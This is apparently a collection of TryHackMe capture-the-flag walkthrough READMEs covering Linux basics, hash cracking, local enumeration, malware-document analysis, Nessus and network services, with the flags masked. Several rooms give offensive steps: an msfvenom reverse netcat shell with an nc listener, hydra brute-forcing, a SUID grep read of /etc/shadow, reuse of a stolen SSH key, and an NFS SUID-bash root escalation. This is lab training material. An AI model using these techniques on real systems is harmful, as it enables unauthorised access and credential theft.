- Find the hidden flag 18.

	- `ls -alh`
	- `cat .flag18`
	- `******************************`

- Read the 2345th line of the file that contains flag 19.

	- `head -n 2345 flag19`
	- `******************************`

- Find and retrieve flag 20.

	- `ls`
	- `cat flag20`
	- `cat flag20 | base64 -d`
	- `******************************`

- Inspect the flag21.php file. Find the flag.

	- `find / | grep flag21`
	- `cd ../bob`
	- `cat flag21.php`
	- `vim flag21.php`
	- `:q`
	- `********`

- Locate and read flag 22. Its represented as hex.

	- `find / | grep flag21`
	- `cd /home/alice/`
	- `cat flag22`
	- Go to [CyberChef](https://gchq.github.io/CyberChef)
	- Copy that content as input and from hex as recipe.
	- `*******************************`

- Locate, read and reverse flag 23.

	- `find / | grep flag23`
	- `cat flag23`
	- `rev flag23`
	- `*******************************`

- Analyse the flag 24 compiled C program. Find a command that might reveal human readable strings when looking in the machine code code.

	- `find / | grep flag24`
	- `cd /home/garry`
	- `cat flag24`
	- `strings flag24`
	- `**************`

- Flag 25 does not exist.

	  no answer needed

- Find flag 26 by searching the all files for a string that begins with 4bceb and is 32 characters long. 

	- `find / -xdev -type f -print0 2>/dev/null | xargs -0 grep -E '^[a-z0-9]{32}$' 2>/dev/null`
	- `******************************`

- Locate and retrieve flag 27, which is owned by the root user.

	- `find / | grep flag27`
	- `sudo cat /home/flag27`
	- `******************************`

- Whats the linux kernel version?

	- `uname -a`
	- `**************`

- Find the file called flag 29 and do the following operations on it:

	1. Remove all spaces in file.
	2. Remove all new line spaces.
 	3. Split by comma and get the last element in the split.

	- `su garry` and garry's password.
	- `find / | grep flag29`
	- `cat flag29 | tr -d " " > nospaces`
	- `cat nospaces | tr -d '/n' > nolines`
	- `cat nolines` and get the string after the last comma.
	- `**********************`

- Use curl to find flag 30.

	- `curl localhost`
	- `****************************`

- Flag 31 is a MySQL database name.

	- `mysql -u root -p` and enter `hello`
	- `show databases;`
	- `******************************`

- Bonus flag question, get data out of the table from the database you found above!

	- `use database_<FLAG>`
	- `show tables;`
	- `select * from flags;`
	- `******************************`

- Using SCP, FileZilla or another FTP client download flag32.mp3 to reveal flag 32.

	- `scp -r alice@<TARGET_IP>:flag32.mp3 flag32.mp3`
	- I had trouble with audio file. `tryhackme1**7`

- Flag 33 is located where your personal $PATH's are stored.

	- `su bob` and enter password
	- `cd ~`
	- `cat .profile`
	- `******************************`

- Switch your account back to bob. Using system variables, what is flag34?

	- `echo $flag34`
	- `*****************************`

- Look at all groups created on the system. What is flag 35?

	- `getent group`
	- `*********`

- Find the user which is apart of the "hacker" group and read flag 36.

	- `getent group hacker`
	- `cat /etc/flag36`
	- `****************************`

- Well done! You've completed the LinuxCTF room!

	  no answer needed






================================================
FILE: Linux-Fundamentals/Linux-Fundamentals-Part-1/README.md
================================================
# Linux Fundamentals - Part 1

- Read the above

	  no answer needed

- Deploy the machine attached to this task!
NOTE: If you have a machine open in the Welcome room (or any other room) please go to that room and terminate it before deploying the machine attached to this task. These machines are not the same, and only the one attached to this room will work.

	no answer needed

- Read the above

	  no answer needed

- Read the above

	- `ssh shiba1@<TARGET_IP>`
	- `yes` and insert password `shiba1`
	- When you're into the nootnoot machine as user shiba1 (the shell starts with `shiba1@nootnoot`) type `echo hello`

- How would you output hello without a newline?

	- `echo -n hello`

- What flag outputs all entries?

	- `-a`

- What flag outputs things in a "long list" format?

	- `-l`

- What flag numbers all output lines?

	- `-n`

- Read the above!

	  no answer needed

- How would you run a binary called hello using the directory shortcut . ?

	- `./hello`

- How would you run a binary called hello in your home directory using the shortcut ~ ?

	- `~/hello`

- How would you run a binary called hello in the previous directory using the shortcut .. ?

	- `../hello`

- What's the password for shiba2?

	- `touch noot.txt`
	- `./shiba1`
	- `pinguftw`

- How do you specify which shell is used when you login?

	- `-s`

- Join the Linux Fundamentals 2 room, and continue your learning journey: https://tryhackme.com/room/linux2

	  no answer needed


================================================
FILE: Linux-Fundamentals/Linux-Fundamentals-Part-2/README.md
================================================
# Linux Fundamentals - Part 2

- Read the above.

	  no answer needed

- Deploy the machine attached to this task!
NOTE: If you have a machine open in the Welcome room (or any other room) please go to that room and terminate it before deploying the machine attached to this task. These machines are not the same, and only the one attached to this room will work.

	no answer needed

- Read the above

	  no answer needed

- SSH into the server

	- `ssh shiba2@<TARGET_IP>`
	- Type `yes` and enter the password `pinguftw`

- Read the above

	  no answer needed

- Read the above

	  no answer needed

- How would you set nootnoot equal to 1111?

	- `export nootnoot=1111`

- What is the value of the home environment variable?

	- `echo $HOME`
	- `/home/shiba2`

- Read the above!

	  no answer needed

- Read the above.

	  no answer needed

- What is shiba3's password?

	- `export test1234=$USER`
	- `./shiba2`
	- `happynoot******`

- Read the above.

	  no answer needed

- Read the above!

	  no answer needed

- What permissions mean the user can read the file, the group can read and write to the file, and no one else can read, write or execute the file?

	- `460`

- What permissions mean the user can read, write, and execute the file, the group can read, write, and execute the file, and everyone else can read, write, and execute the file.

	- `777`

- How would you change the owner of file to paradox?

	- `chown paradox file`

- What about the owner and the group of file to paradox?

	- `chown paradox:paradox file`

- What flag allows you to operate on every file in the directory at once?

	- `-r`

- What flag deletes every file in a directory?

	- `-r`

- How do you suppress all warning prompts?

	- `-f`

- How would you move file to /tmp

	- `mv file /tmp`

- How would you output twenty to a file called test

	- `echo twenty > test`

- Read the above

	  no answer needed

- Join the Linux Fundamentals 3 room, and finish learning Linux: https://tryhackme.com/room/linux3

	  no answer needed




================================================
FILE: Linux-Fundamentals/Linux-Fundamentals-Part-3/README.md
================================================
# Linux Fundamentals - Part 3

- Read the above

	  no answer needed

- Deploy the machine attached to this task!
NOTE: If you have a machine open in the Welcome room (or any other room) please go to that room and terminate it before deploying the machine attached to this task. These machines are not the same, and only the one attached to this room will work.

    no answer needed
    
   - `ssh shiba3@<TARGET_IP>`
   - Type `yes` and enter the password `happynootnoises`

- Using relative paths, how would you cd to your home directory.

	- `cd ~`

- Using absolute paths how would you make a directory called test in /tmp

	- `mkdir /tmp/test`

- How would I link /home/test/testfile to /tmp/test?

	- `ln /home/test/testfile /tmp/test`

- How do you find files that have specific permissions?

	- `-perm`

- How would you find all the files in /home

	- `find /home`

- How would you find all the files owned by paradox on the whole system

	- `find / -user paradox`

- What flag lists line numbers for every string found?

	- `-n`

- How would I search for the string boop in the file aaaa in the directory /tmp

	- `grep boop /tmp/aaaa`

- What is shiba4's password

	- `mkdir test && touch test/test1234`
	- `find / -name shiba4 | grep shiba4 | grep shiba4`
	- `/opt/secret/shiba4`
	- `test1234`
	- `su shiba4` and enter password `test1234`

- Read the above

	no answer needed

- How do you specify which user you want to run a command as.

	- `-u`

- How would I run whoami as user jen?

	- `sudo -u jen whoami`

- How do you list your current sudo privileges(what commands you can run, who you can run them as etc.)

	- `-l`

- How would I add the user test to the group test?

	- `sudo usermod -a -G test test`

- Read the above

	  no answer needed

- Read the above.

	  no answer needed

- Read the above

	  no answer needed

- Read the above

	  no answer needed

- Read the above!

	  no answer needed




================================================
FILE: Linux-Strength-Training/README.md
================================================
# Linux Strength Training

- I have read and understood

	  no answer needed

- What is the correct option for finding files based on group

	- `-group`

- What is format for finding a file with the user named Francis and with a size of 52 kilobytes in the directory /home/francis/

	- `find /home/francis -type f -user francis -size 52K`

- SSH as topson using his password topson. Go to the /home/topson/chatlogs directory and type the following: grep -iRl 'keyword'. What is the name of the file that you found using this command?

	- `ssh topson@<TARGET_IP>`
	- Enter the password `topson`.	
	- `cd /home/topson/chatlogs`
	- `grep -iRl 'keyword'`
	- `2019-10-11`

- Type: less [filename] to open the file. Then, before anything, type / before typing: keyword followed by [ENTER]. Notice how that allowed us to search for the first instance of that word in the entire document. For much larger documents this can be useful and if there are many more instances of that word in the document, we would be able to hit enter again to find the next instance in the document.

	  no answer needed

- What are the characters subsequent to the word you found?

	- `ttitor`

- Read the file named 'ReadMeIfStuck.txt'. What is the Flag?

	- `cd ~`
	- `cat ReadMeIfStuck.txt`
	- `find ~ -type f -name HINT`
	- `cat $(find ~ -type f -name HINT)`
	- `find ~ -type f | grep telephone`
	- `cat /home/topson/corperateFiles/xch/telephone numbers/readME.txt`
	- `find ~/workflows -type f -newermt 2016-09-11 ! -newermt 2016-09-13`
	- `cat ~/workflows/xft/eBQRhHvx`
	- `****{****************}`

- Hypothetically, you find yourself in a directory with many files and want to move all these files to the directory of /home/francis/logs. What is the correct command to do this?

	- `mv * /home/francis/logs`

- Hypothetically, you want to transfer a file from your /home/james/Desktop/ with the name script.py to the remote machine (192.168.10.5) directory of /home/john/scripts using the username of john. What would be the full command to do this?

	- `scp /home/james/Desktop/script.py john@192.168.10.5:/home/john/scripts`

- How would you rename a folder named -logs to -newlogs

	- `mv -logs -newlogs`

- How would you copy the file named encryption keys to the directory of /home/john/logs

	- `mv "encryption keys" /home/john/logs`

- Find a file named `readME_hint.txt` inside topson's directory and read it. Using the instructions it gives you, get the second flag.

	- `find / -type f | grep readME_hint.txt`
	- `cat /home/topson/corperateFiles/RecordsFinances/readME_hint.txt`
	- `find ~ -type f | grep MoveMe.txt`
	- `find ~ -type d | grep march`
	- `mv /home/topson/corperateFiles/RecordsFinances/-MoveMe.txt "/home/topson/corperateFiles/RecordsFinances/-march folder"`
	- `cd "/home/topson/corperateFiles/RecordsFinances/-march folder"`
	- `ls`
	- `./-runME.sh`
	- `****{****************}`

- Download the hash file attached to this task and attempt to crack the MD5 hash. What is the password?

	- Simply google the hash.
	- `*********`

- SSH as sarah using: sarah@[MACHINE:IP] and use the password: rainbowtree1230x
What is the hash type stored in the file hashA.txt

	- `ssh sarah@<TARGET_IP>` and enter the password.
	- ` uname -a;pwd;ls -lah`
	- `find ~ -type f | grep hashA.txt`
	- `cat hashA.txt | hash-identifier`
	- `MD4`

- Crack hashA.txt using john the ripper, what is the password?
	
	- `john --format=raw-md4 --wordlist=/usr/share/wordlists/rockyou.txt hashA.txt`
	- `*****`

- What is the hash type stored in the file hashB.txt

	- `find ~ -type f | grep hashB.txt`
	- `cat /home/sarah/oldLogs/settings/craft/hashB.txt`
	- `cat hashB.txt | hash-identifier`
	- `SHA-1`

- Find a wordlist  with the file extention of '.mnf' and use it to crack the hash with the filename hashC.txt. What is the password?

	- `find ~ -type f | grep .mnf`
	- `/home/sarah/system AB/db/ww.mnf`
	- `find ~ -type f | grep hashC.txt`
	- `cat "/home/sarah/system AB/server_mail/hashC.txt"`
	- `cat hash3.txt | hash-identifier`
	- On target `nc -lnvp 1234 < "/home/sarah/system AB/db/ww.mnf"`
	- On your machine `nc <TARGET_IP> 1234 > ab.mnf`
	- `john --format=raw-sha256 --wordlist=ab.mnf  hash3.txt`
	- `******************`

- Crack hashB.txt using john the ripper, what is the password?

	- `john --format=raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt`
	- `*******`

- what is the name of the tool which allows us to decode base64 strings?

	- `base64`

- find a file called encoded.txt. What is the special answer?

	- `find ~ -type f | grep encoded.txt`
	- `cat "/home/sarah/system AB/managed/encoded.txt" | base64 -d > decoded.txt`
	- `head decoded.txt`
	- `cat decoded.txt | grep special`
	- You will find `special: the answer is in a file called ent.txt, find it`.
	- `find ~ -type f | grep ent.txt`
	- `cat $(find ~ -type f | grep ent.txt)`
	- Google for that hash.
	- `****`

- Now try it for yourself. Make a random text file and enter some readable sentences in there before encrypting and decrypting it as illustrated above.

	  no answer needed

- You wish to encrypt a file called `history_logs.txt` using the AES-128 scheme. What is the full command to do this?

	- `pgp --cipher-algo AES-128 --symmetric history_logs.txt`

- What is the command to decrypt the file you just encrypted?

	- `pgp history_logs.txt.pgp`

- Find an encrypted file called layer4.txt, its password is bob. Use this to locate the flag. What is the flag?

	- `find ~ -type f | layer4.txt`
	- On target `nc -lnvp 1234 < layer4.txt`
	- On your machine `nc <TARGET_IP> 1234 > layer4.txt`
	- `pgp layer4.txt` and enter the password.
	- `cat layer4.txt.decrypted`. This for layer3.txt and layer2.txt. Then you will find an hash.
	- `hash-identifier` says not found.
	- `cat layer2.txt.decrypted | base64 -d` It's because it's base64. Ok.
	- Same as before for layer1.txt
	- `Flag{*****************}`

- Now try it yourself! Encrypt a file and use a common password contained in the wordlist you wish to use. Follow the instructions above to decrypt as if you are a hacker. If it worked, well done.

	  no answer needed

- Find an encrypted file called personal.txt.gpg and find a wordlist called data.txt. Use tac to reverse the wordlist before brute-forcing it against the encrypted file. What is the the password to the encrypted file?

	- `find ~ -type f | grep personal.txt.gpg`
	- `nc -lnvp 1234 < personal.txt.gpg`
	- `nc <TARGET_IP> 1234 > personal.txt.gpg`
	- This also for `data.txt`
	- `tac data.txt > reversed_data.txt`
	- Then, `gpg2john personal.txt.gpg > personal`
	- `john --format=gpg --wordlist=reversed_data.txt personal`
	- `***************`

- What is written in this now decrypted file?

	- `getting stronger in linux`

- Find a file called employees.sql and read the SQL database. (Sarah and Sameer can log both into mysql using the password: password). Find the flag contained in one of the tables. What is the flag?

	- `find ~ -type f | grep employees.sql`
	- `cd ~/serverLx`
	- `mysql -u sarah -p` and enter password `password`.
	- `source employees.sql`
	- `use employees;`
	- `show tables;`
	- `describe employees;`
	- `select * from employees where first_name = "Lobel";`
	- `Flag{********}`

- Go to the /home/shared/chatlogs directory and read the first chat log named: LpnQ. Use this to help you to proceed to the next task.

	  no answer needed

- What is Sameer's SSH password?

	- Tried to figure out something in the `LpnQ` file.
	- Then I did `ls -al` ad I saw all the real chat files have little size in respect to the others, so I just read all those.
	- Nice chat:
	~~~
	(2020-08-13) Sarah: Michael, I have been having trouble accessing the sql database back-up copy made today. Sameer gave me the password, but it just will not work?

	(2020-08-13) Michael: Ah, yes. I remember, the security engineer was testing out a new automated software for creating sql database backups. He must have configured it to encrypt the backups with a different password.

	(2020-08-13) Sarah: So how can I get a hold of it?

	(2020-08-13) Michael: Good question. From what I remember the test program utilised a configuration file around 50mb. It is located inside the home/shared/sql/conf directory. This configuration file contained the directory location of a wordlist it used to randomly select a password from for encrypting the sql back-up copies with. 

	(2020-08-13) Sarah: I do not really understand the last part?

	(2020-08-13) Michael: once you find the configuration file and consequently the wordlist directory, visit it. One of those wordlists must contain the password it used for the testing. All I remember is that the password began with ebq. You will need Sameer’s account. His SSH password is: ************************. 

	(2020-08-13) Sarah: Thank you, I will try to find it.
	~~~
	- `*************************`

- What is the password for the sql database back-up copy

	- `cat $(find /home/shared/sql/conf -type f -size +40M) | grep dir`
	- You will find a base64 encoded string.
	- `echo "aG9tZS9zYW1lZXIvSGlzdG9yeSB********************************go=" | base64 -d`
	- `home/sameer/History LB/labmind/latestBuild/configBDB`
	- `ssh Sameer@<TARGET_IP>` and enter password.
	- `cd` into that directory above
	- `cat * | grep ebq`
	- Try `pgp 2020-08-13.zip.gpg` with all the password you see.
	- `*******`

- Find the SSH password of the user James. What is the password?

	- `mysql -u sarah -p` and enter the password
	- `source sakila-mv-data.sql`
	- `show databases;`
	- `use employees;`
	- `describe employyes;`
	- `select * from employees where first_name LIKE "james";`
	- `************`

- SSH as james and change the user to root?

	  no answer needed

- What is the root flag?

	- `cat /root/root.txt`
	- `Flag{*****************}`





## NOW YOU ARE LINUX STRONGER!!!


================================================
FILE: Linux:-Local-Enumeration/README.md
================================================
# Linux: Local Enumeration

- Let's go!

	  no answer needed

- How would you execute /bin/bash with perl?

	- `perl -e 'exec "/bin/bash";'`

- Where can you usually find the `id_rsa` file? (User = user)

	- `/home/user/.ssh/id_rsa`

- Is there an `id_rsa` file on the box? (yay/nay)

	- `nay`

- How would you print machine hardware name only?

	- `uname -m`

- Where can you find bash history?

	- `~/.bash_history`

- What's the flag?

	- `********************`

- Can you read /etc/passwd on the box? (yay/nay)

	- `yay`

- What's the password you found?

	- `find / -name *.bak -type f 2>/dev/null`
	- `cat /var/opt/passwords.bak`
	- `************`

- Did you find a flag?

	- `find / -type f -name "flag.conf" 2>/dev/null`
	- `cat /etc/sysconf/flag.conf`
	- `**************`

- Which SUID binary has a way to escalate your privileges on the box?

	- `find / -perm -4000 2>/dev/null`
	- `grep`

- What's the payload you can use to read /etc/shadow with this SUID?

	- `grep '' /etc/shadow`

- Try using those commands on your system! 

	  no answer needed

- Got it!

	  no answer needed

- Read the above and consider completing mentioned rooms.

	  no answer needed





================================================
FILE: MAL:-REMnux-The_Redux/README.md
================================================
# MAL: REMnux - The Redux

- I'm all buckled up and ready to get started.

	  no answer needed

- I've deployed my instance

	  no answer needed

- How many types of categories of "Suspicious elements" are there in "notsuspicious.pdf"

	- `3`

- Use peepdf to extract the javascript from "notsuspicious.pdf". What is the flag?

	- `THM{Luckily_This_**************+*}`

- How many types of categories of "Suspicious elements" are there in "advert.pdf"

	- `6`

- Now use peepdf to extract the javascript from "advert.pdf". What is the value of "cName"?

	- `not************`

- What is the name of the Macro for "DefinitelyALegitInvoice.doc"

	- `****Legit`

- What is the URL the Macro in "Taxes2020.doc" would try to launch?

	- `http://tryhackme.com/*************.**`

- What is the highest file entropy a file can have?

	- `8`

- What is the lowest file entropy a file can have?

	- `0`

- Name a common packer that can be used for applications?

	- `UPX`

- Pretty interesting stuff!

	  no answer needed

- Fin.

	  no answer needed

- I'm curious to read up some more!

	  no answer needed




================================================
FILE: NIS-Linux_Part_I/README.md
================================================
# NIS - Linux Part I

- What is shiba3's password?

	- `ssh chad@<TARGET_IP>` and enter password.
	- See [Linux Fundamentals](https://github.com/edoardottt/tryhackme-ctf/tree/main/Linux-Fundamentals)
	- `**************`

- What is shiba4's password?

	- See [Linux Fundamentals](https://github.com/edoardottt/tryhackme-ctf/tree/main/Linux-Fundamentals)
	- `**********`

- How do you run the ls command?

	- `ls`

- How do you run the ls command to show all the files inside the folder?

	- `ls -a`

- How do you run the ls command to not show the current directory and the previous directory in the output? (almost everything)

	- `ls -A`

- How do you show the information in a long listing format using ls?

	- `ls -l`

- How do you show the size in readable format? e.g. k, Mb, etc

	- `ls -h`

- How do you do a recursive ls?

	- `ls --recursive`

- How many files did you locate in the home folder of the user?(non-hidden and not inside other folders)

	- `13`

- What is the content of cat.txt?

	- `cat cat.txt`
	- `************************`

- What is the content of tac.txt?

	- `cat tac.txt`
	- `************************`

- What is the content of head.txt?

	- `cat head.txt`
	- `************************`

- What is the content of tail.txt?

	- `cat tail.txt`
	- `************************`

What is the content of the xxd.txt?

	- `cat xxd.txt`
	- `************************`

- What is the content of base64.txt?

	- `cat base64.txt`
	- `************************`

- How many .txt files did you find in the current folder?

	- `find . -type f -name "*.txt"`
	- `8`

- How many SUID files have you found inside the home folder?

	- `find . -type f -perm -4000 -exec ls -l {} \;`
	- `0`

- How many times does the word "hacker" appear in the grep files? (including variations)

	- `grep "hacker" *.txt`
	- `15`

- Is the user allowed to run the above command? (Yay/Nay)

	- `sudo -l`
	- `Nay`

- Read the above.

	  no answer needed

- What command would you use to echo the word "Hackerman" ?

	- `echo "Hackerman"`

- How would you read all files with extension .bak using xargs?

	- `find / -name *.bak -type f -print | xargs /bin/cat`

- Read the above.

	  no answer needed

- How would you grab the headers silently of [https://tryhackme.com](https://tryhackme.com) but grepping only the HTTP status code?

	- `curl -I -s https://tryhackme.com | grep http`

- What command would you run to get the flag.txt from [https://tryhackme.com/](https://tryhackme.com) ?

	- `wget https://ryhackme.com/flag.txt`

- What command would you run to download recursively up to level 5 from [https://tryhackme.com](https://tryhackme.com) ?

	- `wget -R https://tryhackme.com/`

- What is the flag from the tar file?

	- `tar -xf tarball.tar`
	- `cat flag.txt`
	- `********************`

- What is the content of gzip.txt?

	- `gzip -d gzip.txt.gz`
	- `cat gzip.txt`
	- `******************`

- What is the flag inside the 7zip file?

	- `7z x 7zip.7z`
	- `cat 7zip.txt`
	- `******************`

- What is the content of binwalk.txt?

	- `binwalk -e binwalk.png`
	- `ls _binwalk.png.extracted`
	- `cat _binwalk.png.extracted/binwalk.txt`
	- `*******************`




================================================
FILE: Nessus/README.md
================================================
# Nessus

- I have read the description!

	  no answer needed

- Go to https://www.tenable.com/products/nessus/nessus-essentials and register an account. 

	  no answer needed

- We will then download the `Nessus-#.##.#-debian6_amd64.deb` file

	  no answer needed

- In the terminal we will navigate to that folder and run the following command: `sudo dpkg -i package_file.deb`

	  no answer needed

- We will now start the Nessus Service with the command: `sudo /bin/systemctl start nessusd.service`

	  no answer needed

- Open up Firefox and goto the following URL: https://localhost:8834/

	  no answer needed

- Next, we will set up the scanner. Select the option Nessus Essentials

	  no answer needed

- Fill out the Username and Password fields. Make sure to use a strong password!

	  no answer needed

- Nessus will now install the plugins required for it to function.

	  no answer needed

- Log in with the account credentials you made earlier.

	  no answer needed

- You have now successfully installed Nessus!

	  no answer needed

- What is the name of the button which is used to launch a scan?

	- `new scan`

- What side menu option allows us to create custom templates?

	- `policies`

- What menu allows us to change plugin properties such as hiding them or changing their severity?

	- `plugin rules`

- In the 'Scan Templates' section after clicking on 'New Scan', what scan allows us to see simply what hosts are alive?

	- `host discovery`

- One of the most useful scan types, which is considered to be 'suitable for any host'?

	- `basic network scan`

- What scan allows you to 'Authenticate to hosts and enumerate missing updates'?

	- `credential patch audit`

- What scan is specifically used for scanning Web Applications? 

	- `web application tests`

- Create a new 'Basic Network Scan' targeting the deployed VM. What option can we set under 'BASIC' (on the left) to set a time for this scan to run? This can be very useful when network congestion is an issue.

	- `schedule`

- Under 'DISCOVERY' (on the left) set the 'Scan Type' to cover ports 1-65535. What is this type called?

	- `port scan (all ports)`

- What 'Scan Type' can we change to under 'ADVANCED' for lower bandwidth connection?

	- `scan low bandwidth links`

- With these options set,  launch the scan. 

	  no answer needed

- After the scan completes, which 'Vulnerability' in the 'Port scanners' family can we view the details of to see the open ports on this host?

	- `Nessus SYN scanner`

- What Apache HTTP Server Version is reported by Nessus?

	- `2.4.**`

- What is the plugin id of the plugin that determines the HTTP server type and version?

	- Google it
	- `*****`

- What authentication page is discovered by the scanner that transmits credentials in cleartext?

	- `*****.php`

- What is the file extension of the config backup?

	- `.bak`

- Which directory contains example documents? (This will be in a php directory)

	- `/********/phpids/*.*/****/********/`

- What vulnerability is this application susceptible to that is associated with X-Frame-Options?

	- `C************`




================================================
FILE: Network-Services/README.md
================================================
# Network Services

- Ready? Let's get going!

	  no answer needed

- What does SMB stand for?

	- `Server Message Block`

- What type of protocol is SMB?

	- `response-request`

- What do clients connect to servers using?

	- `TCP/IP`

- What systems does Samba run on?

	- `Unix`

- Conduct an nmap scan of your choosing, How many ports are open?

	- `nmap -p- -A <TARGET_IP>`
	- `*`

- What ports is SMB running on?

	- `139/445`

- Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?

	- `enum4linux -A <TARGET_IP>`
	- `**********`

- What comes up as the name of the machine?

	- `polosmb`

- What operating system version is running?

	- `6.1`

- What share sticks out as something we might want to investigate?

	- `profiles`

- What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?

	- `smbclient //10.10.10.2/secret -U suit -p 139`

- Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.

	  no answer needed

- Does the share allow anonymous access? Y/N?

	- `Y`

- Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

	- `get "Working From Home Information.txt"`
	- Outside smb `cat "Working From Home Information.txt"`
	- `John ******`

- What service has been configured to allow him to work from home?

	- `ssh`

- Okay! Now we know this, what directory on the share should we look in?

	- `.ssh`

- This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?

	- `cd .ssh`
	- `ls`

- What is the smb.txt flag?

	- `get id_rsa`
	- `chmod 600 id_rsa`
	- `ssh cactus@<TARGET_IP> -i id_rsa`
	- `cat smb.txt`
	- `***************`

- What is Telnet?

	- `application protocol`

- What has slowly replaced Telnet?

	- `ssh`

- How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?

	- `telnet 10.10.10.3 23`

- The lack of what, means that all Telnet communication is in plaintext?

	- `encryption`

- How many ports are open on the target machine?

	- `nmap -p- -A <TARGET_IP>`
	- or `scilla port -target <TARGET_IP>`
	- `1`

- What port is this?

	- `****`

- This port is unassigned, but still lists the protocol it's using, what protocol is this? 

	- `tcp`

- Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

	- `0`

- Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.

	  no answer needed

- Based on the title returned to us, what do we think this port could be used for?

	- `a backdoor`

- Who could it belong to? Gathering possible usernames is an important step in enumeration.

	- `skidy`

- Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.

	  no answer needed

- Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.

	  no answer needed

- Great! It's an open telnet connection! What welcome message do we receive?

	- `SKIDY'S BACKDOOR.`

- Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

	- `N`

- Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.

	  no answer needed

- This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.

	  no answer needed

- Now, use the command "ping [local THM ip] -c 1" through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)

	- `Y`

- Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!

	  no answer needed

- What word does the generated payload start with?

	- `msfvenom -p cmd/unix/reverse_netcat lhost=<local_tun0_ip> lport=4444 R`
	- `mkfifo`

- What would the command look like for the listening port we selected in our payload?

	- `nc -lvp 4444`

- Great! Now that's running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!

	  no answer needed

- Success! What is the contents of flag.txt?

	- `THM{**********************}`

- What communications model does FTP use?

	- `client-server`

- What's the standard FTP port?

	- `21`

- How many modes of FTP connection are there?

	- `2`

- How many ports are open on the target machine?

	- `scilla port -target <TARGET_IP>`
	- `*`

- What port is ftp running on?

	- `21`

- What variant of FTP is running on it?

	- `nmap -p- -A <TARGET_IP>`
	- `vsFTPd`

- What is the name of the file in the anonymous FTP directory?

	- `ftp <TARGET_IP>`, `anonymous` and no pwd.
	- `ls`
	- `**************.txt`

- What do we think a possible username
could be?

	- `get *************.txt`
	- Then on your machine `cat *************.txt`
	- `Mike`

- Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...

	  no answer needed

- What is the password for the user "mike"?

	- `hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV <TARGET_IP> ftp`
	- `********`

- Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted

	  no answer needed

- What is ftp.txt?

	- `ftp <TARGET_IP>`, `mike` and password.
	- `ls`
	- `get ftp.txt`
	- `exit`
	- `cat ftp.txt`
	- `THM{*********************}`

- Well done, you did it!

	  no answer needed







================================================
FILE: Network-Services-2/README.md
================================================
# Network Services 2

- Ready? Let's get going!

	  no answer needed

- What does NFS stand for?

	- `Network File System`

- What process allows an NFS client to interact with a remote directory as though it was a physical device?

	- `Mounting`

- What does NFS use to represent files and directories on the server?

	- `file handle`

- What protocol does NFS use to communicate between the server and client?

	- `rpc`

- What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2

	- `user id / group id`

- Can a Windows NFS server share files with a Linux client? (Y/N)

	- `Y`

- Can a Linux NFS server share files with a MacOS client? (Y/N)

	- `Y`

- What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.

	- `*.2`

- Conduct a thorough port scan scan of your choosing, how many ports are open?

	- `nmap -p- -A <TARGET_IP>`
	- `*`

- Which port contains the service we're looking to enumerate?

	- `****`

- Now, use /usr/sbin/showmount -e [IP] to list the NFS shares, what is the name of the visible share?

	- `/****`

- what is the name of the folder inside?

	- `sudo mount -t nfs <TARGET_IP>:/**** /tmp/mount -nolock`
	- `*********`

- Have a look inside this directory, look at the files. Looks like  we're inside a user's home directory...

	  no answer needed

- Interesting! Let's do a bit of research now, have a look through the folders. Which of these folders could contain keys that would give us remote access to the server?

	- `.ssh`

- Which of these keys is most useful to us?

	- `id_rsa`

- Can we log into the machine using ssh -i <key-file> <username>@<ip> ? (Y/N)

	- `chmod 600 id_rsa`
	- `ssh -i id_rsa *********@<TARGET_IP>`
	- `Y`

- First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user's home directory.

	  no answer needed

- Download the bash executable to your Downloads directory. Then use "cp ~/Downloads/bash ." to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using "sudo chown root bash"

	  no answer needed

	- On your machine `nc -lnvp 4444 > bash`
	- On target `nc <YOUR_IP> 4444 < /bin/bash`
	- `sudo chown root bash`

- What letter do we use to set the SUID bit set using chmod?

	- `s`, remember also `x`.

- What does the permission set look like? Make sure that it ends with -sr-x.

	- `-rwsr-sr-x`

- The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.

	  no answer needed

- Great! If all’s gone well you should have a shell as root! What’s the root flag?

	- `********************`

- What does SMTP stand for?

	- `Simple Mail Transfer Protocol`
	
- What does SMTP handle the sending of?

	- `emails`

- What is the first step in the SMTP process?

	- `SMTP handshake`

- What is the default SMTP port?

	- `25`

- Where does the SMTP server send the email if the recipient's server is not available?

	- `smtp queue`

- On what server does the Email ultimately end up on?

	- `pop/imap`

- Can a Linux machine run an SMTP server? (Y/N)

	- `Y`

- Can a Windows machine run an SMTP server? (Y/N)

	- `Y`

- First, lets run a port scan against the target machine, same as last time. What port is SMTP running on?

	- `nmap -A -p- <TARGET_IP>`
	- `**`

- Okay, now we know what port we should be targeting, let's start up Metasploit. What command do we use to do this?

	- `msfconsole`

- Let's search for the module `smtp_version`, what's it's full module name?

	- `search smtp_version`
	- `************/********/smtp/smtp_version`

- Great, now- select the module and list the options. How do we do this?

